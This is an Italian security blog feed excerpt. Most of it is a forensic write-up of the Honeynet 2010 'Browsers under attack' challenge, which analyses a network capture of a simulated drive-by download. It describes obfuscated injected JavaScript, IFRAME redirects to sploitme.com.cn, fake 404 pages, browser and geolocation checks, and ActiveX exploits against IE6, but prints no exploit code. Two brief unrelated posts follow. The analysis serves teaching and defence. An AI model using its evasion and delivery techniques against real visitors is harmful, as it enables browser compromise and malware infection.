<li>Usando varie tecniche (XSS, RFI, ecc.) gli attaccanti iniettano il codice Javascript in alcuni siti web vulnerabili. Il codice è profondamente offuscato, e lavora in modo nascosto e silenzioso, usando tag IFRAME e applicando stili CSS specifici per nascondere la propria presenza, oltre alle modifiche nelle pagine web attaccate.</li>
<li>Quando un visitatore arriva sulla pagina con il codice nascosto, il browser viene &#8220;dirottato&#8221; verso un server (sploitme.com.cc) che contiene codice attivo di analisi e di attacco. Per prima cosa il browser viene indirizzato con un apposito header HTTP di tipo <strong>302 Found</strong> verso una pagina di errore</li>
<li>La pagina di errore è in realtà una trappola, ed è falsa, tanto che che l&#8217;analisi dei pacchetti di risposta dal server mostra un codice HTTP di risultato del tipo <strong>200 OK</strong>, mentre la pagina simula un errore di tipo <strong>404 Not Found</strong> (vedi pacchetti #63,174,366). Questa pagina, lato server, contiene in realtà un codice di analisi che controlla il tipo di browser. </li>
<li>In funzione del risultato dell&#8217;analisi (nel seguito se ne vedrà il tipo e lo scopo), nella falsa pagina 404 viene emesso un altro pezzo di codice Javascript, anche questo profondamente offuscato, che tenta di sfruttare varie falle nel browser per eseguire codice arbitrario.</li>
<li>Vi sono indizi (vedi pacchetti da #299 a #366) che il codice lato server sia in grado di capire da quale nazione giunga il visitatore, attraverso uno dei tanti servizi di geolocalizzazione, per escludere i visitatori da una certa nazione, o per includere solo quelli provenienti da una nazione, dall&#8217;essere colpiti. La prova viene dalla cattura stessa, dove viene visitato il sito principale di Google, www.google.com, che come sappiamo inoltra i visitatori verso i server di Google della nazione di provenienza: il browser viene inoltrato verso www.google.fr, ossia Google in francese. La visita immediatamente successiva fatta dallo stesso browser ad uno dei siti violati simulati (Il finto RapidShare) porta alla fine ad una falsa pagina 404 sul sito attaccante (sploitme.com.cn) che non contiene alcun codice Javascript (vedi pacchetto #366).</li>
</ul>
<p>La quinta domanda chiede di elencare le contromisure prese per rallentare l&#8217;analisi. Naturalmente, ogni criminale informatico che si rispetti sa che le tracce del suo passaggio sono evidenti ad un occhio esperto, mentre un occhio meno esperto può essere ingannato per un tempo più o meno variabile. Dato che lo scopo è di colpire più utenti possibile, e di rallentare l&#8217;individuazione del malware per poter fare più danni possibile, normalmente sono prese alcune contromisure, abbastanza tipiche:</p>
<ul>
<li>Il codice iniettato è sempre offuscato, e qualche volta camuffato da altro, per cui facilmente passa inosservato, anche al webmaster più attento.</li>
<li>L&#8217;attacco viene portato senza aprire altre finestre o popup, per cui sembra provenire dal sito violato, non dal sito chiamato dal codice Javascript dentro i tag IFRAME.</li>
<li>L&#8217;attacco è portato appunto da un sito differente, che non compare mai nel codice, ma solo nel Javascript offuscato, per cui è impossibile saperlo senza svelare il codice stesso.</li>
<li>Anche svelando il codice Javascript offuscato e ricavando il nome del sito attaccante, ci si trova davanti ad una pagina 404 (falsa ma efficace).</li>
<li>Il codice Javascript che tenta di eseguire codice arbitrario sfruttando falle note è codificato usando la notazione Unicode con una <em>escape sequence</em> esadecimale (&#37;u1234), e non è banale da decodificare.</li>
</ul>
<p>Inoltre, data la presenza di un codice che analizza il tipo di browser che visita la pagina aggressiva, si può ipotizzare che ai visitatori che si presentano con browser e/o sistemi operativi alternativi (come molti professionisti nel campo della sicurezza) venga mostrata una pagina con codice inoffensivo.</p>
<p>La sesta domanda chiede di presentare il codice Javascript identificato nelle precedenti risposte, e di svelarlo, se offuscato. Non riporto per intero il codice, anche perché sarebbe lungo e difficile da comprendere (è riportato per intero nella mia soluzione, pubblicata nella pagina del sito Honeynet relativa alla sfida).<br />
Vale la pena però di fare alcune considerazioni. In tutti i casi il codice Javascript è offuscato, ed in un caso l&#8217;offuscamento è annidato, ossia il codice originale è offuscato una prima volta usando la funzione Javascript escape(), ed il risultato è offuscato di nuovo usando una funzione scritta appositamente. Il metodo di offuscamento usato in tutte le false pagine 404 è identico, quello che cambia è il codice Javascript risultante.<br />
Altra cosa da notare è che in presenza del browser Firefox il codice emesso è inoffensivo.</p>
<p>La domanda successiva chiede quale possa essere la funzione della variabile &#8220;s&#8221; negli URL.<br />
Il valore della variabile è fissato nel codice Javascript iniettato nei siti violati, ed è differente da un sito all&#8217;altro. Il valore viene mantenuto nei vari reindirizzamenti, per cui lo scopo non è quello di selezionare l&#8217;attacco, cosa che invece è decisa in base al browser o alla geolocalizzazione. Lo scopo, verosimilmente, è quello dell&#8217;affiliazione, ossia decidere a chi appartiene il computer dell&#8217;ignaro visitatore ad uno dei siti violati, attaccata e conquistata da un malware. Dato che il server che distribuisce il malware è unico, con questo modo si individua l&#8217;appartenenza ad un circuito botnet differente. Se il sito A è violato da Mario, ed il sito B è violato da Carlo, tutti e due i siti reindirizzano verso il server attaccante, ma ognuno con un codice di affiliazione differente, permettendo di distinguere a chi assegnare il computer colpito.</p>
<p>L&#8217;ottava domanda chiede quale sistema operativo e quale browser siano i bersagli scelti per l&#8217;attacco, quali vulnerabilità siano colpite e se sia possibile prevenire l&#8217;attacco stesso.<br />
La riposta è piuttosto articolata, ed in breve può essere riassunta così: il bersaglio è Windows XP con Service Pack 2 o precedenti, il browser è Internet Explorer 6, di cui vengono attaccati parecchi componenti ActiveX, sia nativi che forniti da altre applicazioni. Alcune vulnerabilità sono state scoperte nel 2005, mentre altre sono molto recenti, risalendo a fine 2009.<br />
L&#8217;unica prevenzione è aggiornare sistema operativo, browser e applicazioni. Naturalmente (questo non l&#8217;ho scritto nella soluzione presentata), usando un account non amministrativo per navigare, pur rimanendo colpiti dal malware, in molti dei casi esposti sopra questo non può fare danni, in quanto non ha i privilegi amministrativi, essendo eseguito con i privilegi di Internet Explorer, quindi di un utente &#8220;limitato&#8221;. Visto che nessuno usa questa strategia, chi sfrutta queste vulnerabilità ha la <strong>certezza</strong> di colpire praticamente chiunque gli venga a tiro.</p>
<p>Chiudiamo qui. La prossima e ultima parte sarà piuttosto corposa, visto che riguarderà l&#8217;analisi degli shellcode. </p>
]]></content:encoded>
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		</item>
		<item>
		<title>Honeynet Project: Challenge 2/2010 (I parte)</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-i-parte/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-i-parte/#comments</comments>
		<pubDate>Thu, 13 May 2010 12:54:28 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Honeynet project]]></category>
		<category><![CDATA[sfide]]></category>

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		<description><![CDATA[Il Progetto Honeynet, fondato nel 1999 da un gruppo di volontari, si pone come fine quello di aumentare la sicurezza in Internet senza scopo di lucro, avendo ben in mente il concetto di Open Source. Attraverso tre strategie, attenzione, informazione e strumenti, cerca semplicemente di fare la differenza, Uno degli strumenti è la periodica pubblicazione [...]]]></description>
			<content:encoded><![CDATA[<p>Il <a href="http://honeynet.org/">Progetto Honeynet</a>, fondato nel 1999 da un gruppo di volontari, si pone come fine quello di aumentare la sicurezza in Internet senza scopo di lucro, avendo ben in mente il concetto di Open Source. Attraverso tre strategie, attenzione, informazione e strumenti, cerca semplicemente di <em>fare la differenza</em>, </p>
<p>Uno degli strumenti è la periodica pubblicazione di &#8220;sfide&#8221; a partecipazione pubblica che hanno come oggetto l&#8217;investigazione di un incidente di sicurezza, spesso preso da situazioni reali. In generale la sfida funziona in questo modo: c&#8217;è un antefatto, che serve a creare l&#8217;ambientazione della storia, c&#8217;è il dato da esaminare e c&#8217;è la lista delle domande a cui rispondere, ognuna col suo punteggio. Dalla data di pubblicazione di solito vengono lasciate tre o quattro settimane per rispondere, poi dopo due ulteriori settimane vengono pubblicati i risultati e la soluzione ufficiale. </p>
<p>Fino ad oggi ho partecipato a quattro di queste sfide:</p>
<ul>
<li>La <a href="http://old.honeynet.org/scans/scan32/">prima</a> nel 2004 (all&#8217;epoca si chiamavano <a href="http://old.honeynet.org/scans/index.html">Scan of the Month</a>) riguardava il reverse engineering di un malware &#8220;fatto in casa&#8221;. </li>
<li>La <a href="http://honeynet.org/node/504">seconda</a> è la prima sfida pubblicata nel 2010, dopo alcuni anni in cui non sono state pubblicate sfide. La sfida riguardava l&#8217;analisi di una registrazione del traffico di rete durante l&#8217;attacco di un malware. Non è andata molto bene, l&#8217;analisi era incompleta, per cui sono arrivato diciottesimo su 91 partecipanti.</li>
<li>La <a href="http://honeynet.org/challenges/2010_2_browsers_under_attack">terza</a> è la seconda sfida del 2010, riguardante l&#8217;analisi della registrazione del traffico di rete durante l&#8217;attacco portato al browser di un computer durante la navigazione. In questo caso posso dire che è andata decisamente meglio: primo a pari merito con altri tre sfidanti.</li>
<li>La <a href="http://honeynet.org/challenges/2010_3_banking_troubles">quarta</a> è la terza sfida pubblicata, riguardante l&#8217;analisi di un computer sospettato di essere attaccato da un malware in grado di rubare credenziali di accesso a servizi online ed altri dati riservati.</li>
</ul>
<p>Al momento in cui scrivo sono stati appena pubblicati i risultati dell&#8217;ultima sfida, in cui mi sono classificato primo. Tutte le sfide sono state molto stimolanti, ed ho potuto applicare parte dell&#8217;esperienza acquisita in questi anni di analisi di siti web compromessi, anche se in ogni sfida c&#8217;era molto altro. </p>
<p>Per questo motivo ho pensato di procedere a pubblicare, un pezzo alla volta, le soluzioni di quelle cui partecipo, scelte fra quelle che ritengo più interessanti e stimolanti, oltre che di valore didattico.</p>
<p>Partiamo quindi con la sfida &#8220;<a href="http://honeynet.org/challenges/2010_2_browsers_under_attack">Browser sotto attacco</a>&#8220;.</p>
<h4>Attacco al browser, prima parte</h4>
<p>La storia è molto semplice: analizzare il campione fornito, e rispondere alle domande. Il campione è il risultato di una registrazione del traffico di rete e salvato nel formato detto <em>libpcap</em>, dal nome di una nota libreria Open Source alla base di molti programmi utilizzati come <em>sniffer</em> di rete (tcpdump, WireShark, Winpcap, ecc). l file è piuttosto piccolo, 300k in tutto. </p>
<p>Usando Wireshark, possiamo aprirlo e cominciare ad orientarci. </p>
<div id="attachment_842" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ismprofessional.net/pascucci/wp-content/uploads/honeynet-2-2010-wireshark-01.png"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/honeynet-2-2010-wireshark-01-300x201.png" alt="Wireshark all&#039;avvio" title="honeynet-2-2010-wireshark-01" width="300" height="201" class="size-medium wp-image-842" /></a><p class="wp-caption-text">L'inizio del file di cattura in Wireshark</p></div>
<p>La prima domanda chiede di elencare i protocolli presenti nel file della cattura e di indicare quale sia il protocollo utilizzato per l&#8217;attacco, anche se naturalmente a questa seconda domanda potremo rispondere solo più avanti nell&#8217;analisi. In ogni caso l&#8217;elenco dei protocolli è in due gruppi, quelli di più basso livello (IP, ARP, ICMP, UDP, TCP, IGMP) e quelli di più alto livello (DHCP, HTTP, NetBIOS, DNS).<br />
Ho semplicemente contato ed elencato a mano i protocolli, ma, guardando la soluzione originale, si poteva utilizzare <a href="http://chaosreader.sourceforge.net/">chaosreader</a> per estrarre i dati in formato testo e lavorarci sopra di grep.<br />
In questo caso la cattura era piuttosto breve, quindi me la sono cavata con poco, ma se fosse stata una cattura di tipo differente (ho dovuto spesso esaminare sessioni di cattura da qualche decina di gigabyte, in file da un giga l&#8217;uno&#8230;) non me la sarei cavata tanto facilmente.<br />
Un aiuto viene anche da Wireshark, utilizzando la funzione &#8220;Protocol Hierarchy&#8221; del menu &#8220;Statistics&#8221;.</p>
<div id="attachment_847" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ismprofessional.net/pascucci/wp-content/uploads/honeynet-2-2010-wireshark-02.png"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/honeynet-2-2010-wireshark-02-300x230.png" alt="" title="honeynet-2-2010-wireshark-02" width="300" height="230" class="size-medium wp-image-847" /></a><p class="wp-caption-text">La funzione Protocol Hierarchy di Wireshark</p></div>
<p>Per quanto riguarda il protocollo usato per l&#8217;attacco, si tratta di HTTP, come sarà evidente durante l&#8217;analisi.</p>
<p>La seconda domanda era già più articolata: elencare indirizzi IP, i nomi degli host e di dominio. Inoltre si chiede cosa si possa dedurre da questi dati e se sia una situazione reale. Abbiamo parecchi indirizzi IP, ma uno sguardo attento mostra che possono essere raggruppati in alcune categorie:</p>
<ul>
<li>Vittime: 10.0.2.15, 10.0.3.15, 10.0.4.15, 10.0.5.15</li>
<li>Attaccanti: 192.168.56.52 (hostname: sploitme.com.cn)</li>
<li>Servizi: 10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP server e gateway); 192.168.1.1 (DNS)</li>
<li>Host violati simulati: 192.168.56.51 (hostname: shop.honeynet.sg), 192.168.56.50 (hostname: rapidshare.com.eyu32.ru)</li>
<li>Host esterni: www.honeynet.org, www.google.com, www.google.fr, www.google-analytics.com</li>
</ul>
<p>Gli indirizzi IP delle vittime e dei server DHCP sono della stessa classe di quelli assegnati di default dall&#8217;ambiente di rete virtuale creato da <a href="http://wiki.qemu.org/Main_Page">Qemu</a>, come pure i MAC address dei server DHCP. Questo, verosimilmente, ci suggerisce che sia gli host vittima che i server DHCP sono macchine virtuali, usate come honeypot.<br />
Gli indirizzi IP degli attaccanti sono privati (vedi <a href="http://www.ietf.org/rfc/rfc1918.txt">rfc1918</a>), ed il loro nome di dominio non esiste in Internet o, meglio, non è registrato su alcun servizio conosciuto, quindi anche gli attaccanti sono simulati. Unica eccezione viene dall&#8217;host  shop.honeynet.sg che esiste e viene risolto con l&#8217;indirizzo IP 203.117.131.40, ma nella cattura in analisi non viene mai contattato ed ogni richiesta viene indirizzata verso un host interno privato (indirizzo IP 192.168.56.51).<br />
Tutte queste informazioni possono essere ricavate con strumenti di uso comune in Linux per l&#8217;interrogazione dei database pubblici degli indirizzi IP e dei nomi di dominio, come <strong>dig</strong>, <strong>whois</strong> e <strong>host</strong>.</p>
<p>La terza domanda entra nel vivo dell&#8217;analisi, chiedendo di elencare le pagine web visitate, e di indicare quelle contenenti codice Javascript sospetto o possibilmente dannoso, e quale host la stia visitando, descrivendo brevemente la natura del codice sospetto o dannoso. L&#8217;elenco è lungo e articolato, in grassetto le pagine &#8220;interessanti&#8221;:</p>
<ol>
<li><strong>rapidshare.com.eyu32.ru/login.php</strong>: questa pagina contiene codice Javascript offuscato che carica in un tag IFRAME la pagina [2]</li>
<li><strong>sploitme.com.cn/?click=3feb5a6b2f</strong>: questa pagina risponde con un header HTTP di tipo 302 Found, e dirotta i visitatori verso la pagina [3]</li>
<li><strong>sploitme.com.cn/fg/show.php?s=3feb5a6b2f</strong>: una falsa pagina di errore 404, contenente una porzione di codice Javascript che cambia in funzione di che browser visita la pagina</li>
<li><strong>sploitme.com.cn/fg/load.php?e=1</strong>: questa pagina restituisce un eseguibile binario per Windows che apre il sito [5]</li>
<li>www.honeynet.org: sito ufficiale del progetto Honeynet</li>
<li>www.google.com: Google</li>
<li>www.google.fr: Google in francese</li>
<li>www.google.fr/generate_204: una pagina di servizio di Google</li>
<li><strong>shop.honeynet.sg/catalog/</strong>: anche in questa pagina c&#8217;è un pezzo di Javascript offuscato che carica la pagina [10] in un tag IFRAME.</li>
<li><strong>sploitme.com.cn/?click=84c090bd86</strong>: identica situazione della pagina [2], con un header HTTP di tipo 302 Found, che dirotta verso la pagina [11]</li>
<li><strong>sploitme.com.cn/fg/show.php?s=84c090bd86</strong>: questa pagina è una delle più interessanti. Contiene un pezzo notevole di codice Javascript, fortemente offuscato, che tenta di sfruttare un numero consistente di vulnerabilità note, quasi tutte relative a controlli ActiveX. Nel seguito dell&#8217;analisi vi saranno tutti i dettagli</li>
<li><strong>sploitme.com.cn/fg/directshow.php</strong>: questa pagina è chiamata dal codice Javascript in [11], e contiene una falsa immagine Jpeg necessaria a sfruttare un bug in un altro controllo ActiveX</li>
<li><strong>sploitme.com.cn/fg/load.php?e=3</strong>: stessa situazione della pagina [4]</li>
<li><strong>sploitme.com.cn/fg/show.php</strong>: stessa situazione della pagina [3]</li>
<li>www.google-analytics.com: pagina di Google Analytics</li>
</ol>
<p>Riassumendo, vi sono tre categorie di pagine:</p>
<ul>
<li>pagine relative a siti web violati (simulati), con codice Javascript iniettato (pagine [1] [9]) che forzano il browser a caricare pagine da altri siti</li>
<li>pagine attive di attacco ([3], [11], [14], tutte con lo stesso URL di base) che scelgono che attacco sferrare in funzione del tipo di browser e della geolocalizzazione dell&#8217;indirizzo IP del visitatore</li>
<li>pagine di servizio: la root di sploitme.com.cn che opera un redirect con un header HTTP 302 Found; sploitme.com.cn/fg/load.php che in funzione del parametro &#8220;e&#8221; codificato nell&#8217;URL fornisce un eseguibile, verosimilmente un malware; sploitme.com.cn/fg/directshow.php che invece fornisce un file Jpeg forgiato al fine di sfruttare alcune vulnerabilità</li>
</ul>
<p>Come si possa affermate tutto ciò sarà evidente nel seguito. </p>
<p>Fine della prima parte. Fra qualche giorno il seguito. </p>
]]></content:encoded>
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		<item>
		<title>Di ritorno dal Cybercop 2010, con la coda fra le gambe (ed i piedi ghiacciati)</title>
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		<pubDate>Mon, 10 May 2010 09:12:49 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Eventi]]></category>
		<category><![CDATA[Pensieri sparsi]]></category>
		<category><![CDATA[cybercop]]></category>
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		<description><![CDATA[Molti saranno i ricordi che mi rimarranno di questa edizione del Cybercop 2010, due in particolare: la mia pessima prestazione (per non dire di peggio) ed il freddo tremendo accumulato in parecchie ore di immobilità e concentrazione durante il tentativo di capirci qualcosa. E&#8217; il momento, forse, di citare un personaggio dei film, il detective [...]]]></description>
			<content:encoded><![CDATA[<p>Molti saranno i ricordi che mi rimarranno di questa edizione del Cybercop 2010, due in particolare: la mia pessima prestazione (per non dire di peggio) ed il freddo tremendo accumulato in parecchie ore di immobilità e concentrazione durante il tentativo di capirci qualcosa. E&#8217; il momento, forse, di citare un personaggio dei film, il detective Roger Murtaugh in Arma Letale: &#8220;sono troppo vecchio per&#8230;&#8221;.</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/Q37xJtuQ24w&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Q37xJtuQ24w&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p>L&#8217;elenco degli errori, molti assolutamente evitabili, è lungo, come è lungo l&#8217;elenco delle omissioni, quindi, come è facile intuire, non sono per nulla contento della mia &#8220;prestazione&#8221;. </p>
<p>Certo che se i &#8220;rompicapo&#8221; tecnici sono preparati da quattro persone del calibro di <a href="http://www.lpcforensic.it/blog/">Litiano Piccin</a>, <a href="http://blog.is-a-forenser.net/">Andrea &#8220;Pila&#8221; Ghirardini</a>, <a href="http://it.linkedin.com/in/mgraziani">Massimiliano Graziani</a> e <a href="http://it.linkedin.com/pub/giuseppe-mazzaraco/14/76b/428">Giuseppe Mazzaraco</a>, non è che ci sia molto da fare, a parte mangiarsi le mani fino ai gomiti nel momento in cui viene presentata la soluzione. </p>
<p>Comunque, ancora una volta arriva la conferma che non solo non si può essere esperti di tutto, ma anche &#8220;esperti&#8221; è una parola grossa, che va usata con molta cautela&#8230;</p>
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		<title>Venerdì 30 aprile seminario presso IISFA: Tempo e supporti</title>
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		<pubDate>Tue, 27 Apr 2010 06:41:21 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Eventi]]></category>
		<category><![CDATA[archivi digitali]]></category>
		<category><![CDATA[iisfa]]></category>
		<category><![CDATA[supporti]]></category>

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		<description><![CDATA[Eccomi al terzo seminario riservato ai soci IISFA, questo venerdì, salvo imprevisti. L&#8217;argomento è apparentemente scollegato con l&#8217;Informatica Forense, trattando un argomento più vicino al mio lavoro di tutti i giorni. Quanto dura un supporto di registrazione? Che garanzie ci sono? Visto che sempre più di frequente nelle questioni legali e giudiziarie intervengono supporti di [...]]]></description>
			<content:encoded><![CDATA[<p>Eccomi al terzo seminario riservato ai soci IISFA, questo venerdì, salvo imprevisti.<br />
L&#8217;argomento è apparentemente scollegato con l&#8217;Informatica Forense, trattando un argomento più vicino al mio lavoro di tutti i giorni. </p>
<p>Quanto dura un supporto di registrazione? Che garanzie ci sono?<br />
Visto che sempre più di frequente nelle questioni legali e giudiziarie intervengono supporti di memorizzazione, di provenienza più disparata, a breve diventerà un problema la conservazione di tali reperti. </p>
<p>Venerdì tratterò l&#8217;argomento offrendo una panoramica della situazione e un po&#8217; della mia personale esperienza, maturata in dodici anni di lavoro sugli archivi storici della radio, sul loro recupero e conservazione.</p>
<p>La sede del seminario è, al solito, riportata nel sito del <a href="http://www.iisfa.it/eventi.html">capitolo italiano di IISFA</a>. </p>
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